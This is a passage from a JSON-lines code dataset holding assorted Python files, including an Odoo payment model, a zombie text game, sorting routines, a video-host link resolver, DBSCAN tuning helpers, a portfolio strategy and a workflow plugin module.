F.linear(x, self.weight)\n x = x / math.sqrt(self.dim_in)\n return x\n","sub_path":"example/llm/CPM-Bee/src/cpm_live/layers/linear.py","file_name":"linear.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"93019140","text":"# -*- coding: utf-8 -*-\nfrom odoo import api, fields, models, _\nfrom odoo import models, fields, api, _\nfrom odoo.exceptions import UserError, ValidationError\nimport logging\n\n_logger = logging.getLogger(__name__)\n\nclass AccountPayment(models.Model):\n\n _inherit = \"account.payment\"\n\n origin = fields.Char('Source Origin', readonly=1)\n pos_branch_id = fields.Many2one('pos.branch', string='Branch', readonly=1)\n pos_session_id = fields.Many2one('pos.session', string='POS Session', readonly=1)\n\n @api.model\n def create(self, vals):\n context = self._context.copy()\n if context.get('pos_session_id', None):\n vals.update({\n 'pos_session_id': context.get('pos_session_id'),\n 'origin': 'Point Of Sale'\n })\n session = self.env['pos.session'].sudo().browse(context.get('pos_session_id'))\n if session and session.config_id and session.config_id.pos_branch_id:\n vals.update({\n 'pos_branch_id': session.config_id.pos_branch_id.id\n })\n if not vals.get('pos_branch_id'):\n vals.update({'pos_branch_id': self.env['pos.branch'].sudo().get_default_branch()})\n payment = super(AccountPayment, self).create(vals)\n return payment\n","sub_path":"pos_retail/models/account/AccountPayment.py","file_name":"AccountPayment.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"30798091","text":"from __future__ import print_function\n\nfrom dolo import *\n\ndef test_rbc_model():\n\n\n model = yaml_import('examples/models/rbc.yaml')\n\n print(model)\n print(model.options)\n\n\n dr = approximate_controls(model)\n\n drg = global_solve(model)\n\n sim = plot_decision_rule(model,dr,'k')\n\n from dolo.algos.dtcscc.vfi import evaluate_policy\n\n pol = evaluate_policy(model, dr, verbose=True)\n polg = evaluate_policy(model, drg, verbose=True)\n\n\n\nif __name__ == '__main__':\n\n test_rbc_model()\n","sub_path":"dolo/tests/test_rbc.py","file_name":"test_rbc.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"335271823","text":"\n# File Name: zombies1.2.py\n# Author Name: Cody deVries\n# Last Modified By: Cody deVries\n# Date Last Modified: May 22, 2013\n# Program Description: This program allows the user to make decisions as they travel deeper into a prison\n# \t\t\t\t\t full of zombies. If they choose the correct path, the user will reach a room full \n# \t\t\t\t\t of supplies (ammunition, food and water) which will allow them to survive the \n#\t\t\t\t zombie apocalypse. Only one outcome out of 8 will allow the user to survive. \n# Revision History: V1.0 - May 22, 2013\n#\t\t\t\t\tV1.1 - May 22, 2013\n#\t\t\t\t\tV1.2 - May 22, 2013\n\nimport random \nimport time\n\n\"\"\"This method displays the introduction to the game. It explains to the user the setting of the game and what their goal is.\"\"\"\ndef displayIntro():\n\t#display the introduction\n\tprint ('You are extremely low on food and supplies as you attempt to survive the zombie')\n\tprint ('apocalypse. Just as you are about to fall victim to the countless zombie hordes')\n\tprint ('you see a prison in the distance. You rush to the prison and enter the main')\n\tprint ('gate, slamming it shut behind you to hold back the zombie horde that\\'s')\n\tprint ('trailing you. But there\\'s one more problem. This prison has also been overrun')\n\tprint ('by the undead. There is, however, one sign of hope.')\n\tprint ('The word \\\"supplies\\\" is written on the ground with an arrow pointing towards')\n\tprint ('the prison. This could be what saves you. You just need to find the supplies.')\n\tprint ('With the prison being so large, it could be a challenge. Can you survive?')\n\tprint\n\t\n\"\"\"This method is called immediately after the introduction is displayed. It asks the user to choose between entrance 1 and 2 to the prison. It returns the user's choice (1 or 2)\"\"\"\ndef chooseMainEntrance():\n\t#initialize variable \"entrance\" to hold the user's choice \n\tentrance = ''\n\t\n\t#repeat the question until the user inputs 1 or 2. If the user inputs anything else, the question will be asked again.\n\twhile entrance != '1' and entrance != '2':\n\t\tprint ('You see two main entrances to the prison. Which will you choose?') \n\t\tprint ('Entrance 1 or 2?')\n\t\t#prompt the user and save their choice in the entrance variable.\n\t\tentrance = raw_input()\n\treturn entrance\n\n\"\"\"This method is called after the user chooses the main entrance. It takes the user's choice of main entrance as a parameter (chosenEntrance) It prompts the user to choose between two doors once again and returns the user's choice.\"\"\"\ndef chooseDoor(chosenEntrance):\n\t#initialize door variable which will hold the user's choice.\n\tdoor = ''\n\tprint('You slowly turn the knob to the main entrance labeled {}'.format(chosenEntrance) + ', open the door, and...')\n\t#use time.sleep() to build suspense\n\ttime.sleep(2)\n\tprint('no zombies here! You\\'re safe, for now. However, there are also no supplies in')\n\tprint('here. All that you see is two more doors.') \n\t#if the user's choice of main entrance was door 1\n\tif chosenEntrance == '1':\n\t\t#prompt the user until they choose either door 3 or 4 (repeat question if user inputs anything else).\n\t\twhile door != '3' and door != '4':\n\t\t\tprint('Think carefully. Will you enter door 3 or 4?')\n\t\t\t#prompt the user and store their choice in the door variable\n\t\t\tdoor = raw_input()\n\t#if the user's choice of main entrance was door 2\n\telif chosenEntrance == '2':\n\t\t#prompt the user until they choose either door 5 or 6 (repeat the question if user inputs anything else).\n\t\twhile door != '5' and door != '6':\n\t\t\tprint('Think carefully. Will you enter door 5 or 6?')\n\t\t\t#prompt the user and store their choice in the door variable.\n\t\t\tdoor = raw_input()\n\treturn door\n\ndef chooseGate(chosenDoor):\n\t#initiate gate variable - will hold user's choice of gate.\n\tgate = ''\n\tprint('You slowly turn the knob to door number {}'.format(chosenDoor) + ', anxiety building, and...')\n\ttime.sleep(2)\n\tprint('nothing! You remain safe for the time being. But once again, there are no')\n\tprint('supplies behind this door. All you see is two gates.')\n\t#give the user choice of gate depending on the path they've taken to this point.\n\t#prompt the user and store their choice of gate in gate variable.\n\tif chosenDoor == '3':\n\t\twhile gate != '1' and gate != '2':\n\t\t\tprint('Will you choose gate 1 or 2?')\n\t\t\tgate = raw_input()\n\telif chosenDoor == '4':\n\t\twhile gate != '3' and gate != '4':\n\t\t\tprint('Will you choose gate 3 or 4?')\n\t\t\tgate = raw_input()\n\telif chosenDoor == '5':\n\t\twhile gate != '5' and gate != '6':\n\t\t\tprint('Will you choose gate 5 or 6?')\n\t\t\tgate = raw_input()\n\telif chosenDoor == '6':\n\t\twhile gate != '7' and gate != '8':\n\t\t\tprint('Will you choose gate 7 or 8?')\n\t\t\tgate = raw_input()\n\treturn gate\n\n\"\"\"This method accepts the user's choice of gate as a parameter (chosenGate). It checks to see if the user has found the supply room or a room full of zombies.\"\"\"\ndef correctGate(chosenGate, supplyGate):\n\tprint('This is it; the point of no return. You slowly open gate number {}' .format(chosenGate))\n\tprint('creeaaaaaaakkkk. This is it, you build the courage to enter the gate and........')\n\t#wait 3 seconds to build suspense for the big finale\n\ttime.sleep(3)\n\t\n\t#if the door that the user chooses is the door with the supplies inside\n\tif chosenGate == str(supplyGate):\n\t\tprint('Eureka! You\\'ve chosen the gate with food, water, and weapons hidden behind it!')\n\t\tprint('You will survive the zombie apocalypse! At least for a little while longer...')\n\t#if the user chooses the incorrect gate.\n\telse:\n\t\tprint('Aghhhhh! You\\'ve walked right into a horde of zombies! Enjoy your future as a')\n\t\tprint('member of the walking dead, pal!')\n\n\"\"\"This method will prompt the user if they want to play again. It will force the user to either type 'y', 'yes', 'n', or 'no' (case ignored)\"\"\"\ndef replayGame():\n\t#initialize variable replay which will hold user's response \n\treplay = ''\n\t#prompt the user if they want to play again. If the user enters a value other than 'y', 'yes', 'n', or 'no'\n\twhile replay != 'Y' and replay != 'YES' and replay != 'N' and replay != 'NO':\n\t\tprint('Do you want to play again? (yes or no)')\n\t\t#use .upper() string method so that case isn't an issue.\n\t\treplay = raw_input().upper()\n\t#when user inputs yes, y, no, or n, set playAgain equal to their choice (game will run again if they choose yes, will end if they choose no.\n\treturn replay\n\n\"\"\"This is the main method. It is called as soon as the program launches. It will call the program's methods in the logical order.\"\"\"\ndef main():\n\n\t#the program will only run if the user wants to play again (initially set play again to yes so that the program runs once without prompting the user).\n\tplayAgain = 'Y'\n\twhile playAgain == 'Y' or playAgain == 'YES':\n\t\t#choose a random gate between 1 and 8 which will be where the supplies are located. Store it in a variable for use throughout the program.\n\t\tsupplyGate = random.randint(1,8)\n\t\t#display the intro\n\t\tdisplayIntro()\n\t\t#store the user's choice of main entrance in mainEntrance variable\n\t\tmainEntrance = chooseMainEntrance()\n\t\t#store the user's choce of door in door variable. Do this by calling chooseDoor and passing in mainEntrance as argument.\n\t\tdoor = chooseDoor(mainEntrance)\n\t\t#store the user's choice of gate in gate variable. Do this by calling chooseGate and passing in door as argument.\n\t\tgate = chooseGate(door)\n\t\t#check to see if the user picked the one correct door. Do this by calling correctDoor and passing in gate as argument.\n\t\tcorrectGate(gate, supplyGate)\n\t\t\n\t\t#ask if the user wants to play again by calling playAgain() method\n\t\tplayAgain = replayGame()\n\t\t\nif __name__ == \"__main__\": main()\n","sub_path":"zombies1.2.py","file_name":"zombies1.2.py","file_ext":"py","file_size_in_byte":7596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"114652507","text":"from copy import deepcopy\n\n\nclass SlowSorts:\n @staticmethod\n def bubble_sort(xs):\n \"\"\"Returns a newly sorted list\"\"\"\n results = deepcopy(xs)\n n = len(results)\n swapped = True\n while swapped:\n swapped = False\n for i in range(0, n - 1):\n if results[i] > results[i + 1]:\n temp = results[i]\n results[i] = results[i + 1]\n results[i + 1] = temp\n swapped = True\n return results\n\n @staticmethod\n def selection_sort(xs):\n \"\"\"Returns a newly sorted list\"\"\"\n results = []\n xs_copy = deepcopy(xs)\n for i in range(len(xs)):\n x = min(xs_copy)\n results.append(x)\n xs_copy.remove(x)\n\n return results\n\n# print(SlowSorts.bubble_sort([0, 1, 2, 3, -1, -2]))\n# print(SlowSorts.selection_sort([0, 1, 2, 3, -1, -2]))\n\n\n","sub_path":"HackBulgaria/algorythms.py","file_name":"algorythms.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"38293177","text":"# coding:utf-8\nimport sys\n\"\"\"\n给出一个仅包含加减乘除四种运算符的算式(不含括号),如1+2*3/4,在保持运算符顺序不变的情况下,现在你可以进行若干次如下操作:如果交换相邻的两个数,表达式值不变,那么你就可以交换这两个数。\n\n现在你可以进行任意次操作,使得算式的数字序列字典序最小,然后输出结果,数字之间的字典序定义为若a> 1 # 数字长度\n symbol = []\n digits = []\n for x in range(1, len(opsList), 2):\n symbol.append(opsList[x])\n for x in range(0, len(opsList), 2):\n digits.append(opsList[x])\n\n # print(\"[debug] symbol: {}\".format(symbol))\n # print(\"[debug] digits: {}\".format(digits))\n i = 0\n it = 0\n while i < len(symbol):\n curLast = findSameOps(symbol, i)\n digits = handle(digits, i, curLast)\n # print(\"[debug] i:{}, curLast:{}, digits:{}\".format(i, curLast, digits))\n i = curLast + 1\n\n it += 1\n # if it > 10:\n # break\n\n ret = []\n for j in range(numLens-1):\n ret.append(digits[j])\n ret.append(symbol[j])\n ret.append(digits[-1])\n\n return \" \".join(ret)\n\ndef handle(digits, left, right):\n right += 1\n tmp = digits[left:right]\n tmp = list(map(int, tmp))\n tmp.sort()\n # print(\"left:{}, right:{}, tmp:{}\".format(left, right, tmp))\n tmp = [str(x) for x in tmp]\n digits = digits[:left] + tmp + digits[right:]\n\n return digits\n\n\ndef findSameOps(symbol, i):\n ret = i\n ops = symbol[i]\n flag = getFlag(ops)\n for j in range(i+1, len(symbol)):\n cur = getFlag(symbol[j])\n # print(\"cur:{}, flag:{}, i:{}\".format(cur, flag, j))\n if cur != flag:\n if j - i == 1:\n return j\n else:\n return j - 1\n\n return len(symbol) - 1\n\n\ndef getFlag(ops):\n flag = 0 # 默认乘\n if ops == '+':\n flag = 1\n elif ops == '-':\n flag = 2\n elif ops == '/':\n flag = 3 # 除法\n\n return flag\n\ndef test():\n s = \"3 + -2 + 1 + -4 * -5 + 1\"\n ret = solver(s)\n print(ret)\n\ndef inputs():\n n = input()\n ops = input().strip()\n ret = solver(ops)\n print(ret)\n\nif __name__ == '__main__':\n test()","sub_path":"LeetCode/otherQuestion/didi/Q1.py","file_name":"Q1.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"352557190","text":"# -*- coding: utf-8 -*-\n#------------------------------------------------------------\n# pelisalacarta - XBMC Plugin\n# Conector para clicknupload\n# http://blog.tvalacarta.info/plugin-xbmc/pelisalacarta/\n#------------------------------------------------------------\n\nimport re\nimport urllib\n\nfrom core import logger\nfrom core import scrapertools\n\ndef test_video_exists( page_url ):\n logger.info(\"deportesalacarta.servers.clicknupload test_video_exists(page_url='%s')\" % page_url)\n \n data = scrapertools.cache_page( page_url )\n if \"File Not Found\" in data: return False, \"[Clicknupload] El archivo no existe o ha sido borrado\"\n\n return True,\"\"\n\ndef get_video_url( page_url , premium = False , user=\"\" , password=\"\", video_password=\"\" ):\n logger.info(\"deportesalacarta.servers.clicknupload url=\"+page_url)\n \n data = scrapertools.cache_page( page_url )\n data = data.replace(\"\\n\",\"\").replace(\"\\t\",\"\")\n post = \"\"\n block = scrapertools.find_single_match(data, '
')\n matches = scrapertools.find_multiple_matches(block, 'input.*?name=\"([^\"]+)\".*?value=\"([^\"]*)\"')\n for inputname, inputvalue in matches:\n post += inputname + \"=\" + inputvalue + \"&\"\n #Primera solicitud post\n data = scrapertools.cache_page( page_url , post=post)\n data = data.replace(\"\\n\",\"\").replace(\"\\t\",\"\")\n import time\n time.sleep(5)\n post = \"\"\n block = scrapertools.find_single_match(data, '')\n matches = scrapertools.find_multiple_matches(block, '')\n for inputname, inputvalue in matches:\n post += inputname + \"=\" + inputvalue + \"&\"\n #Segunda solicitud post tras 5 segundos de espera\n data = scrapertools.cache_page( page_url , post=post)\n\n video_urls = []\n media = scrapertools.find_single_match(data,\"onClick=\\\"window.open\\('([^']+)'\")\n #Solo es necesario codificar la ultima parte de la url\n url_strip = urllib.quote(media.rsplit('/', 1)[1])\n media_url = media.rsplit('/', 1)[0] +\"/\"+url_strip\n video_urls.append( [ scrapertools.get_filename_from_url(media_url)[-4:]+\" [clicknupload]\",media_url])\n for video_url in video_urls:\n logger.info(\"deportesalacarta.servers.clicknupload %s - %s\" % (video_url[0],video_url[1]))\n\n return video_urls\n\n# Encuentra vídeos del servidor en el texto pasado\ndef find_videos(data):\n encontrados = set()\n devuelve = []\n\n # http://clicknupload.me/jdfscsa5uoy4\n patronvideos = \"clicknupload.(?:me|com)/([a-z0-9]+)\"\n logger.info(\"deportesalacarta.servers.clicknupload find_videos #\"+patronvideos+\"#\")\n matches = re.compile(patronvideos,re.DOTALL).findall(data)\n\n for match in matches:\n titulo = \"[clicknupload]\"\n url = \"http://clicknupload.me/%s\" % match\n if url not in encontrados:\n logger.info(\" url=\"+url)\n devuelve.append( [ titulo , url , 'clicknupload' ] )\n encontrados.add(url)\n else:\n logger.info(\" url duplicada=\"+url)\n\n return devuelve","sub_path":"JGPADDONS/plugin.video.deportesalacarta/servers/clicknupload.py","file_name":"clicknupload.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"511747261","text":"f1 = open(\"test.txt\")\r\n\r\ntry:\r\n f = open(\"tree.txt\")\r\n\r\nexcept Exception as e:\r\n print(e)\r\nelse:\r\n print(\"this will run if except is not running\")\r\nfinally:\r\n f1.close()\r\n print(\"run this anyway\")\r\n","sub_path":"try2.py","file_name":"try2.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"71939521","text":"import numpy as np\nfrom sklearn import neighbors\nfrom sklearn import cluster\nimport matplotlib.pyplot as plt\n\nimport cluster_analysis\n\ndef k_distance(X, k=4):\n \"\"\"First of all, We have to set the eps parameter of the classifier. To do so,\n we create a fictitious output vector, filled with zeros and then applied the\n kNN classifier.\"\"\"\n \n aux_label = np.zeros(X.shape[0])\n knn = neighbors.KNeighborsClassifier(n_neighbors=4)\n knn.fit(X, aux_label)\n distances = knn.kneighbors()\n k_dist = np.zeros(X.shape[0])\n for i in range(0, X.shape[0]):\n k_dist[i] = distances[0][i,3]\n k_dist.sort()\n k_dist = k_dist[::-1]\n return k_dist\n\ndef plot_k_distance(k_dist, k=4):\n fig = plt.figure()\n plt.plot(range(0, k_dist.shape[0]), k_dist, label=str(k) + \"-th distance\")\n plt.xlabel(\"Points\")\n plt.ylabel(\"Distance\")\n plt.title(str(k) + \"-th Distance\")\n plt.legend()\n plt.show()\n fig.savefig('k_dist_dbscan.pdf')\n plt.close()\n\n\ndef dbscan_tuning(X, labels_true, min_eps, max_eps, pace):\n \"\"\"This function computes the DBSCAN algorithm for the values comprised\n between [eps-delta, eps+delta] if possible: if eps-delta is lesser than\n 10 it sets 10, if eps+delta is greater than the biggest k-th distance it takes\n the biggest k-th distance as maximum value.\"\"\"\n \n values = np.arange(min_eps, max_eps, pace)\n indices = np.zeros((values.shape[0], 6))\n n_clusters = np.zeros(values.shape[0], dtype=np.int)\n i = 0\n for curr_eps in np.arange(min_eps, max_eps, pace):\n print(\"Current epsilon \" + str(curr_eps))\n dbscan_model = cluster.DBSCAN(curr_eps, 4, n_jobs= -1)\n dbscan_model.fit(X)\n pred_labels = dbscan_model.labels_\n n_clusters_ = len(set(pred_labels)) - (1 if -1 in pred_labels else 0)\n n_clusters[i]= n_clusters_\n #print(n_clusters_)\n indices[i]= cluster_analysis.evaluate_cluster(X, labels_true, pred_labels)\n i+= 1\n return indices, n_clusters\n \n\ndef plot_indices(indices, min_eps, max_eps, pace):\n index_name = ['Precision', 'Recall', 'F1Score', 'Rand Index', 'Adjusted Rand Index', 'Silhouette']\n x_axis = np.arange(min_eps, max_eps, pace)\n fig = plt.figure(figsize=(20,20))\n for i in range(0,6):\n plt.subplot(3, 2, i+1)\n plt.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0)\n plt.title('DBSCAN ' + index_name[i])\n plt.plot(x_axis, indices[:,i])\n plt.ylabel(index_name[i])\n plt.xlabel('Value of Epsilon')\n plt.show()\n fig.savefig('dbscan_indeces.pdf')\n plt.close()\n\ndef plot_cluster(n_clusters, min_eps, max_eps, pace):\n #print(n_clusters)\n x_axis = np.arange(min_eps, max_eps, pace)\n fig = plt.figure()\n plt.title('DBSCAN - Number of clusters')\n plt.plot(x_axis, n_clusters.ravel())\n plt.ylabel('N. Cluster')\n plt.xlabel('Value of Epsilon')\n plt.show()\n fig.savefig('dbscan_num_cluster.pdf')\n plt.close()","sub_path":"Test/dbscan.py","file_name":"dbscan.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"507847689","text":"import torch\nimport numpy as np\nimport pickle\nimport covariance_matrix as cm\nfrom model_classes import *\n\n\ndef load_object(file_name):\n \"\"\"load the pickled object\"\"\"\n with open(file_name, 'rb') as f:\n return pickle.load(f)\n\n\ndef view_data(data_path):\n data = load_object(data_path)\n prices = data['prices']\n names = data['features']['names']\n features = data['features']['values']\n # print(prices.shape)\n # print(names)\n # print(features.shape)\n return prices, features\n\n\nclass Strategy():\n def __init__(self):\n self.all_price_data, self.all_feature_data = view_data('C3_train.pkl')\n self.all_price_data = torch.from_numpy(self.all_price_data).clone().float()[:-1,:]\n self.all_feature_data = torch.from_numpy(self.all_feature_data).clone().float()\n self.all_return_data = torch.zeros(self.all_price_data.size(0)-1, self.all_price_data.size(1))\n for col in range(self.all_price_data.size(1)):\n self.all_return_data[:,col] = cm.calc_log_returns(self.all_price_data[:,col])\n\n self.models = []\n for ticker in range(680):\n stock_model = torch.nn.Sequential(\n LinearLayer(2,2),\n ProductLayer(2,1),\n LogOutput(),\n )\n stock_model.load_state_dict(torch.load(f'final_models/{ticker}.pt'))\n self.models.append(stock_model)\n\n # add new numpy data to tensor data\n def update_data(self, price_data, feature_data):\n self.all_price_data = torch.cat( (self.all_price_data, torch.from_numpy(price_data).float().unsqueeze(0) ) , dim=0)\n self.all_feature_data = torch.cat( (self.all_feature_data, torch.from_numpy(feature_data).float().unsqueeze(0) ) , dim=0)\n new_return_data = torch.zeros(self.all_price_data.size(0)-1, self.all_price_data.size(1))\n for col in range(self.all_price_data.size(1)):\n new_return_data[:,col] = cm.calc_log_returns(self.all_price_data[:,col])\n self.all_return_data = new_return_data.clone()\n\n def handle_update(self, inx, price, factors):\n \"\"\"Put your logic here\n Args:\n inx: zero-based inx in days\n price: [num_assets, ]\n factors: [num_assets, num_factors]\n Return:\n allocation: [num_assets, ]\n \"\"\"\n self.update_data(price, factors)\n all_rsi_data = self.all_feature_data[:,:,4]\n\n predicted_returns = []\n for ticker in range(680):\n rsi_data = all_rsi_data[:,ticker]*.01\n # current, previous\n rsi_inputs = torch.tensor([rsi_data[-1], rsi_data[-2]])\n model = self.models[ticker]\n pred_return = model(rsi_inputs).item()\n predicted_returns.append(pred_return)\n\n covariances = cm.cov_matrix(self.all_return_data)\n\n pred_returns_array = np.array(predicted_returns)#.reshape(1,-1)\n allocation, _, _ = cm.optimal_portfolio(pred_returns_array, 4, covariances)\n allocation = allocation.astype(np.float).flatten()\n assert price.shape[0] == factors.shape[0]\n # return np.array([1.0] * price.shape[0])\n return allocation\n","sub_path":"case3/strategy.py","file_name":"strategy.py","file_ext":"py","file_size_in_byte":3177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"162459917","text":"# -*- encoding:utf-8 -*-\n\n# Je ne fournis ce script que par soucis de simplicité, n'ayant pas trouvé de zip contenant l'integrale de cette saga.\n# Tout le contenu telechargé est la propriété de Nico&Matt et peut etre retrouvé ici: http://adoprixtoxis.com\n\n# This piece of software is under the WTF Public Licence.\n# Everyone is permitted to copy and distribute verbatim or modified\n# copies of this program, under the following terms of the WFTPL :\n#\n# DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n# TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n#\n# 0. You just DO WHAT THE FUCK YOU WANT TO.\n\ntry: # Python 3.3\n import urllib.request as urllib\nexcept: # Python 2.7\n import urllib2 as urllib\n range = xrange\n\nimport os\nimport sys\nimport shutil\nimport zipfile\n\n\nnbEpisode = 18\npath = \"Adop\"\ntmpPath = \"tmpAdop\"\nbase = \"http://www.adoprixtoxis.com/lite/download/downloadFunc.php?id=\"\nattempt = 3\n\ntry:\n os.mkdir(tmpPath)\nexcept OSError as e:\n if not os.path.isdir(tmpPath):\n sys.exit(e)\n\n\n# On télécharge tous les .zip dans le dossier tmp\nfor i in range(1, nbEpisode + 1):\n\n link = \"{}{:0>2}&type=Episode\".format(base, i)\n\n print(link)\n\n for j in range(attempt):\n try:\n mp3file = urllib.urlopen(link)\n break\n except:\n print(\"Error\")\n else:\n print(\"Error, can't download episod {}\".format(i))\n\n fileName = \"{}/Adop{:0>2}.zip\".format(tmpPath, i)\n\n with open(fileName, 'wb') as output:\n output.write(mp3file.read(500000000))\n\ntry:\n os.mkdir(path)\nexcept OSError as e:\n if not os.path.isdir(path):\n sys.exit(e)\n\n# On extrait tout\nfor i in range(1, nbEpisode + 1):\n print(\"unzip {}\".format(i))\n\n with zipfile.ZipFile(\"{}/Adop{:0>2}.zip\".format(tmpPath, i)) as zip:\n zip.extractall(path)\n\n# Et on delete le dossier tmp\nshutil.rmtree(tmpPath)\n","sub_path":"adoprixtoxis.py","file_name":"adoprixtoxis.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"160264883","text":"#!/usr/bin/env python\n__author__ = \"Gao Wang\"\n__copyright__ = \"Copyright 2016, Stephens lab\"\n__email__ = \"gaow@uchicago.edu\"\n__license__ = \"MIT\"\n'''\nProcess R and Python plugin codes to DSC\n'''\nimport yaml, re\nfrom collections import OrderedDict\nfrom copy import deepcopy\nfrom .syntax import DSC_FILE_OP\nfrom .utils import flatten_list\n\n\ndef dict2yaml(value):\n return yaml.dump(value, default_flow_style=False).strip()\n\n\nBASH_UTILS = '''\nexpandPath() {\n case $1 in\n ~[+-]*)\n local content content_q\n printf -v content_q '%q' \"${1:2}\"\n eval \"content=${1:0:2}${content_q}\"\n printf '%s\\n' \"$content\"\n ;;\n ~*)\n local content content_q\n printf -v content_q '%q' \"${1:1}\"\n eval \"content=~${content_q}\"\n printf '%s\\n' \"$content\"\n ;;\n *)\n printf '%s\\n' \"$1\"\n ;;\n esac\n}\n'''\n\n\nclass BasePlug:\n def __init__(self, name='run', identifier=''):\n self.name = name\n self.identifier = 'DSC_{}'.format(identifier.upper())\n self.reset()\n\n def reset(self):\n self.container = []\n self.container_vars = dict()\n self.module_input = []\n self.alias_map = dict()\n self.tempfile = []\n\n def add_input(self, lhs, rhs):\n pass\n\n def add_tempfile(self, lhs, rhs):\n pass\n\n def add_return(self, lhs, rhs):\n pass\n\n def get_return(self, output_vars):\n return ''\n\n def set_container(self, name, value, params):\n pass\n\n def load_env(self, depends_other, depends_self):\n return ''\n\n def get_input(self, params, lib):\n return ''\n\n def get_output(self, params):\n return ''\n\n def get_var(self, varname):\n if varname in self.alias_map:\n return self.alias_map[varname]\n else:\n return varname\n\n def get_cmd_args(self, args, params):\n '''\n Use plain variable name with underscore prefix\n Note that cmd arguments can therefore not contain { } eg for awk\n '''\n # FIXME: does not yet address to the case of input / output in shell\n pattern = re.compile(r'\\{(.*?)\\}')\n if args:\n res = ' '.join(args)\n for m in re.finditer(pattern, res):\n if m.group(1) not in params:\n raise ValueError(\n 'Cannot find ``{}`` in parameter list'.format(\n m.group(1)))\n else:\n res = res.replace(m.group(0), '{_%s}' % m.group(1))\n return ', args = \"{{filename:q}}\" + f\" {}\"\\n'.format(res)\n else:\n return '\\n'\n\n @staticmethod\n def format_tuple(value):\n return flatten_list(value)\n\n def dump(self):\n return dict([('ID', self.identifier), ('container', self.container),\n ('container_variables', self.container_vars),\n ('module_input', self.module_input),\n ('variable_alias', self.alias_map),\n ('temp_file', self.tempfile)])\n\n @staticmethod\n def add_try(content, n_output):\n return ''\n\n\nclass Shell(BasePlug):\n def __init__(self, identifier=''):\n super().__init__(name='bash', identifier=identifier)\n self.output_ext = 'yml'\n\n def get_input(self, params, lib, seed_option):\n res = 'rm -f $[_output]\\n'\n if len(lib):\n res += '\\n'.join([\n f'for i in `ls {item}/*.sh`; do source $i; done'\n for item in lib\n ])\n # load parameters\n for k in params:\n # FIXME: better idea?\n res += '\\n{0}=$(expandPath $[repr(_{1}) if isinstance(_{1}, list) else _{1}])'.format(\n self.get_var(k), k)\n # FIXME: may need a timer\n # seed\n if 'seed_option' == 'REPLICATE':\n res += '\\nRANDOM=$(($DSC_REPLICATE + $[_index]))'\n else:\n res += '\\nRANDOM=$(($DSC_REPLICATE + $[DSC_STEP_ID_] + $[_index]))'\n return res\n\n def get_output(self, params):\n '''\n FIXME: assume for now that shell output produces one single file\n accessible as `${_output}`.\n '''\n res = dict([('DSC_OUTPUT', dict())])\n res['DSC_OUTPUT'] = dict([(k, f'$[_output:n].{params[k]}')\n for k in params])\n return '\\n'.join([f'{k}=$[_output:n].{params[k]}' for k in params]) + \\\n f\"\\ncat >> $[_output:n].yml << EOF\\n{dict2yaml(res)}\\nEOF\"\n\n def add_input(self, lhs, rhs):\n if isinstance(lhs, str):\n # single value input add\n self.module_input.append('{}={}'.format(\n self.get_var(lhs), rhs if (not rhs.startswith('$'))\n or rhs in ('$[_output:r]', '$[_input:r]') else '{}_{}'.format(\n self.identifier, repr(rhs[1:]))))\n elif isinstance(lhs, (list, tuple)):\n # multiple value input add\n for x in lhs:\n if rhs.startswith(\"$\") and not rhs.startswith(\"$[\"):\n self.module_input.append('{}=${}_{}'.format(\n self.get_var(x), self.identifier, repr(rhs[1:])))\n elif not rhs.startswith(\"$\"):\n self.module_input.append('{}={}'.format(\n self.get_var(x), rhs))\n else:\n self.module_input.append('{}={}'.format(\n self.get_var(x[2]),\n rhs.replace(\n ':r', '[{}].with_suffix(\\'.{}\\'):r'.format(\n x[0], x[1][-1]))))\n\n def add_tempfile(self, lhs, rhs):\n if rhs == '':\n self.tempfile.append(f'TMP_{self.identifier[4:]}=`mktemp -d`')\n self.tempfile.append(\n f'{self.get_var(lhs)}=\"\"\"$TMP_{self.identifier[4:]}/$[_output[0]:bn].{lhs}\"\"\"'\n )\n else:\n self.tempfile.append('{}=\"\"\"{}\"\"\"'.format(\n self.get_var(lhs), f'$[_output[0]:n].{lhs}.{rhs}'))\n\n def set_container(self, name, value, params):\n value = [v.strip() for v in value.split(',') if v.strip()]\n excluded = [v[1:] for v in value if v.startswith('!')]\n if len(value) == len(excluded):\n # empty or all ! input\n keys = [x for x in params.keys() if x not in excluded]\n else:\n keys = [x for x in value if x not in excluded]\n if len(keys) == 0:\n return\n res = OrderedDict([(name, OrderedDict())])\n for k in keys:\n if '=' in k:\n j, k = (x.strip() for x in k.split('='))\n else:\n j = None\n if not (isinstance(params[k][0], str) and params[k][0].startswith('$')) \\\n and not (isinstance(params[k][0], str) and DSC_FILE_OP.search(params[k][0])):\n res[name][str(j if j is not None else k)] = '$[_%s]' % k\n else:\n res[name][str(j if j is not None else k)] = k\n if k not in self.container_vars:\n self.container_vars[k] = [j]\n else:\n self.container_vars[k].append(j)\n self.container.append(res)\n\n def load_env(self, depends_other, depends_self):\n '''\n depends: [(name, var, ext), ...]\n '''\n # and assign the parameters to flat bash variables\n res = f'set 